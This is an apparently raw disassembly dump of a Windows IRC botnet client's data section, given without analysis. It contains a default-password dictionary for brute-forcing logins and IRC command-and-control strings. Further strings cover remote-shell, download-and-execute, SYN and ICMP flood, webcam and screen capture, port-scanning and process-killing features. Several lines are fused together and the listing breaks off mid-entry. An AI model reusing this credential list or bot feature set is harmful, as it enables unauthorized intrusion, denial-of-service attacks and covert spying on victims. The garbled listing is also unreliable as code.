aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0042929Co
; .nsp0:0042B65Co
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:00429298o
; .nsp0:0042B658o
align 4
aDemo db 'DEMO',0 ; DATA XREF: .nsp0:00429294o
; .nsp0:0042B654o
align 4
aFiles db 'FILES',0 ; DATA XREF: .nsp0:00429290o
; .nsp0:0042B650o
align 4
aRead db 'READ',0 ; DATA XREF: .nsp0:0042928Co
; .nsp0:0042B64Co
align 4
aBoth db 'BOTH',0 ; DATA XREF: .nsp0:00429288o
; .nsp0:0042B648o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:00429284o
; .nsp0:0042B644o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:00429280o
; .nsp0:0042B640o
align 4
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0042927Co
; .nsp0:0042B63Co
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:00429278o
; .nsp0:0042B638o
align 4
aTemp db 'TEMP',0 ; DATA XREF: .nsp0:00429274o
; .nsp0:0042B634o
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:00429270o
; .nsp0:0042B630o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0042926Co
; .nsp0:0042B62Co
align 10h
aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:00429264o
; .nsp0:0042B624o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:00429260o
; .nsp0:0042B620o
align 10h
aBla db 'bla',0 ; DATA XREF: .nsp0:0042925Co
; .nsp0:0042B61Co
aFubar db 'fubar',0 ; DATA XREF: .nsp0:00429258o
; .nsp0:0042B618o
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0042924Co
; .nsp0:0042B60Co
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40F168+262o
; .nsp0:00429240o ...
align 4
aDb2 db 'db2',0 ; DATA XREF: .nsp0:0042923Co
aOracle db 'oracle',0 ; DATA XREF: .nsp0:00429238o
; .nsp0:00429324o
align 10h
aDba db 'dba',0 ; DATA XREF: .nsp0:00429234o
aDatabase db 'database',0 ; DATA XREF: .nsp0:00429230o
; .nsp0:00429318o
align 10h
aDefault db 'default',0 ; DATA XREF: .nsp0:0042922Co
; .nsp0:004299B8o
aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:00429228o
align 10h
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:00429224o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:00429220o
; .nsp0:0042A94Co
aStudent db 'student',0 ; DATA XREF: .nsp0:0042921Co
; .nsp0:0042A894o
aOwner db 'owner',0 ; DATA XREF: .nsp0:00429218o
align 4
aComputer db 'computer',0 ; DATA XREF: .nsp0:00429214o
; .nsp0:00429330o
align 10h
aRoot db 'root',0 ; DATA XREF: .nsp0:0040D849o
; .nsp0:00429210o ...
align 4
aStaff db 'staff',0 ; DATA XREF: .nsp0:0042920Co
align 10h
aAdmin db 'admin',0 ; DATA XREF: .nsp0:0040D850o
; .nsp0:00429208o
align 4
aAdmins db 'admins',0 ; DATA XREF: .nsp0:00429204o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:00429200o
aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:004291FCo
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:004291F8o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .nsp0:004291F4o
; .nsp0:00429254o ...
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_41979A:loc_4198A5o
; .nsp0:004291F0o ...
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_42914Co
align 4
a@k7o_net db '*@k7o.net',0 ; DATA XREF: .nsp0:off_429148o
align 4
dd 234032Dh, 75636573h, 2036572h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h
dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h
dd 234032Dh, 75636573h, 2036572h, 6552202Dh, 74736967h
dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh
dd 75636573h, 2036572h, 6146202Dh, 64656C69h, 206F7420h
dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h
dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h
dd 2036572h, 7953202Dh, 6D657473h, 63657320h, 20657275h
dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh
dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h
dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h
dd 63612072h, 65766974h, 2Eh, 234032Dh, 6E69616Dh, 202D0203h
dd 20746F42h, 72617473h, 2E646574h, 0
dd 25207325h, 25222064h, 2273h
dword_4301F0 dd 255C7325h, 73hdword_4301F8 dd 73257325h, 0 ; sub_41011E+4CAo ...
unk_430200 db 2Dh ; - ; DATA XREF: sub_4018A1+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 10h
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401A09+55o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401A09+28o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040995Co
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00409947o
align 4
unk_430268 db 2Dh ; - ; DATA XREF: .nsp0:0040993Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_430288 db 2Dh ; - ; DATA XREF: .nsp0:0040991Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_4302A8 db 2Dh ; - ; DATA XREF: .nsp0:004098BFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: .nsp0:0040989Co
align 4
unk_4302FC db 2Dh ; - ; DATA XREF: .nsp0:0040984Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: .nsp0:00409840o
; .nsp0:004098B0o
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: .nsp0:0040982Co
align 4
asc_43037C: ; DATA XREF: .nsp0:004097FCo
unicode 0, <~>,0
unk_430380 db 2Dh ; - ; DATA XREF: .nsp0:004097ABo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
unk_4303A4 db 2Dh ; - ; DATA XREF: .nsp0:00409741o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_4303CC db 2Dh ; - ; DATA XREF: .nsp0:004096FBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 10h
unk_4303F0 db 2Dh ; - ; DATA XREF: .nsp0:004096DBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_430414 db 2Dh ; - ; DATA XREF: .nsp0:004096BEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_430438 db 2Dh ; - ; DATA XREF: .nsp0:0040969Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_43045C dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: .nsp0:0040967Do
dd 2E732520h, 0
unk_430478 db 2Dh ; - ; DATA XREF: .nsp0:loc_4095FDo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_4304A4 db 2Dh ; - ; DATA XREF: .nsp0:004095F6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_4304C8 db 2Dh ; - ; DATA XREF: .nsp0:loc_409575o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_4304F0 db 2Dh ; - ; DATA XREF: .nsp0:0040956Bo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: .nsp0:00409551o
unk_43051C db 2Dh ; - ; DATA XREF: .nsp0:00409447o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_430544 db 2Dh ; - ; DATA XREF: .nsp0:loc_40942Eo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_430568 db 2Dh ; - ; DATA XREF: .nsp0:00409424o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_430588 db 2Dh ; - ; DATA XREF: .nsp0:004093F7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 10h
unk_4305B0 db 2Dh ; - ; DATA XREF: .nsp0:loc_4093D7o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_4305D8 db 2Dh ; - ; DATA XREF: .nsp0:004093A9o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4305F8 db 2Dh ; - ; DATA XREF: .nsp0:loc_40936Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_430628 db 2Dh ; - ; DATA XREF: .nsp0:00409362o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_430648 db 2Dh ; - ; DATA XREF: .nsp0:loc_409308o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_430678 db 2Dh ; - ; DATA XREF: .nsp0:00409301o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_43069C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: .nsp0:004092BFo
dd 27732527h, 2Eh
unk_4306B8 db 2Dh ; - ; DATA XREF: .nsp0:004092A5o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 4
unk_4306F4 db 2Dh ; - ; DATA XREF: .nsp0:00409236o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_430718 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: .nsp0:004091C2o
dd 0
unk_430730 db 2Dh ; - ; DATA XREF: .nsp0:00409194o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_430770 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: .nsp0:00409125o
dd 2Eh
dword_430788 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: .nsp0:loc_409076o
dd 746E6573h, 2Eh
unk_4307A4 db 2Dh ; - ; DATA XREF: .nsp0:0040906Fo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_4307C4 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: .nsp0:00409036o
dd 732520h
unk_4307DC db 2Dh ; - ; DATA XREF: .nsp0:00409028o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_430808: ; DATA XREF: .nsp0:00409010o
; .nsp0:0040FF69o ...
dw 0Ah
unicode 0, <>,0
unk_43080C db 2Dh ; - ; DATA XREF: .nsp0:00408FE6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 10h
unk_430830 db 2Dh ; - ; DATA XREF: .nsp0:00408FD0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_430854 db 2Dh ; - ; DATA XREF: .nsp0:loc_408F5Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_430894 db 2Dh ; - ; DATA XREF: .nsp0:loc_408F51o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_4308D4 db 2Dh ; - ; DATA XREF: .nsp0:00408F47o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
unk_430900 db 2Dh ; - ; DATA XREF: .nsp0:loc_408EB0o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_430938 db 2Dh ; - ; DATA XREF: .nsp0:loc_408EA9o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_43096C db 2Dh ; - ; DATA XREF: .nsp0:00408E99o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: .nsp0:loc_408E22o
align 10h
unk_4309A0 db 2Dh ; - ; DATA XREF: .nsp0:00408E15o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
unk_4309C8 db 2Dh ; - ; DATA XREF: .nsp0:00408DE2o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 10h
aDrivers db 'drivers',0 ; DATA XREF: .nsp0:loc_408D95o
unk_4309F8 db 2Dh ; - ; DATA XREF: .nsp0:loc_408D82o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_430A34 db 2Dh ; - ; DATA XREF: .nsp0:loc_408D7Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_430A64 db 2Dh ; - ; DATA XREF: .nsp0:00408D6Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: .nsp0:loc_408D3Ao
align 4
dword_430A98 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: .nsp0:00408D22o
dd 2E732520h, 0
unk_430AB4 db 2Dh ; - ; DATA XREF: .nsp0:00408CDFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_430AE4 db 2Dh ; - ; DATA XREF: .nsp0:00408CC3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_430B0C db 2Dh ; - ; DATA XREF: .nsp0:00408C1Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_430B2C db 2Dh ; - ; DATA XREF: .nsp0:00408BDFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_430B4C db 2Dh ; - ; DATA XREF: .nsp0:00408B85o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_430B68 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: .nsp0:00408B16o
dword_430B7C dd 54524150h, 0D732520h, 0Ah ; .nsp0:0040968Ao
unk_430B88 db 2Dh ; - ; DATA XREF: .nsp0:00408AB2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00408AA4o
align 10h
dword_430BB0 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: .nsp0:00408A79o
dd 25203A29h, 73h
dword_430BCC dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: .nsp0:00408A0Do
dd 203A2973h, 7325h
dword_430BE8 dd 45444F4Dh, 732520hdword_430BF0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: .nsp0:00408985o
dd 203A2973h, 7325h
dword_430C0C dd 4E494F4Ah, 20732520h, 7325hdword_430C18 dd 0A0D7325h, 0 ; .nsp0:00408966o ...
dword_430C20 dd 54524150h, 732520hdword_430C28 dd 234032Dh, 67726174h, 3023361haFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_430C64 dd 234032Dh, 67726174h, 3023361haFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_430C90 db 2Dh ; - ; DATA XREF: .nsp0:00408797o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_430CCC db 2Dh ; - ; DATA XREF: .nsp0:0040872Co
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_430D00 db 2Dh ; - ; DATA XREF: .nsp0:loc_4086BAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_430D34 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: .nsp0:0040867Fo
dd 7325h
dword_430D4C dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: .nsp0:loc_4085EBo
dword_430D60 dd 25207325h, 73252073h, 73253A20h, 0 ; .nsp0:00408659o ...
dword_430D70 dd 234032Dh, 61647075h, 3026574h, 6F42202Dh, 44492074h
; DATA XREF: .nsp0:loc_40854Ao
dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh
dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h
dd 636F7270h, 2E737365h, 0
dd 234032Dh, 61647075h, 3026574h
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dd 234032Dh, 61647075h, 3026574h
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0
align 4
dword_430E2C dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: .nsp0:004083CDo
dd 7325203Ah, 0
unk_430E48 db 2Dh ; - ; DATA XREF: .nsp0:004083C2o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_430E6C db 2Dh ; - ; DATA XREF: .nsp0:00408328o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStartS db 'Failed to start search thread, error: <%d>.',0
unk_430EA8 db 2Dh ; - ; DATA XREF: .nsp0:004082B2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_430ED8 dd 234032Dh, 656C6966h, 2D0302h ; .nsp0:loc_4092C6o
unk_430EE4 db 2Dh ; - ; DATA XREF: .nsp0:004081DAo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_430F08 db 2Dh ; - ; DATA XREF: .nsp0:loc_4081B8o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_430F40 db 2Dh ; - ; DATA XREF: .nsp0:004081AEo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_430F78 db 2Dh ; - ; DATA XREF: .nsp0:00408138o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_430FA4 dd 234032Dh, 6E6F6C63h, 3027365haFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_430FE0 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_431010 db 2Dh ; - ; DATA XREF: .nsp0:00407FD9o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_431048 db 2Dh ; - ; DATA XREF: .nsp0:00407F67o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_431078 db 2Dh ; - ; DATA XREF: .nsp0:00407EE0o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_4310B0 db 2Dh ; - ; DATA XREF: .nsp0:00407E6Eo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_4310E0 db 2Dh ; - ; DATA XREF: .nsp0:00407DF8o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_431118 db 2Dh ; - ; DATA XREF: .nsp0:00407D86o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_431154 db 2Dh ; - ; DATA XREF: .nsp0:00407D10o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_431194 db 2Dh ; - ; DATA XREF: .nsp0:00407CA1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_4311C0 db 2Dh ; - ; DATA XREF: .nsp0:00407BD5o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_431204 db 2Dh ; - ; DATA XREF: .nsp0:00407B66o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_431240 db 2Dh ; - ; DATA XREF: .nsp0:00407A6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: .nsp0:004079E8o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: .nsp0:004078E6o
align 4
dword_43129C dd 54434101h, 204E4F49h, 17325h ; .nsp0:00408B62o
unk_4312A8 db 2Dh ; - ; DATA XREF: .nsp0:004077F1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_4312E4 db 2Dh ; - ; DATA XREF: .nsp0:00407782o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_431334 db 2Dh ; - ; DATA XREF: .nsp0:004076EBo
; .nsp0:00407ADBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_43136C db 2Dh ; - ; DATA XREF: .nsp0:0040767Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_4313D4 db 2Dh ; - ; DATA XREF: .nsp0:00407506o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 4
unk_431408 db 2Dh ; - ; DATA XREF: .nsp0:004074A9o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
unk_43143C db 2Dh ; - ; DATA XREF: .nsp0:loc_407389o
db 3, 34h, 2
db 66h ; f
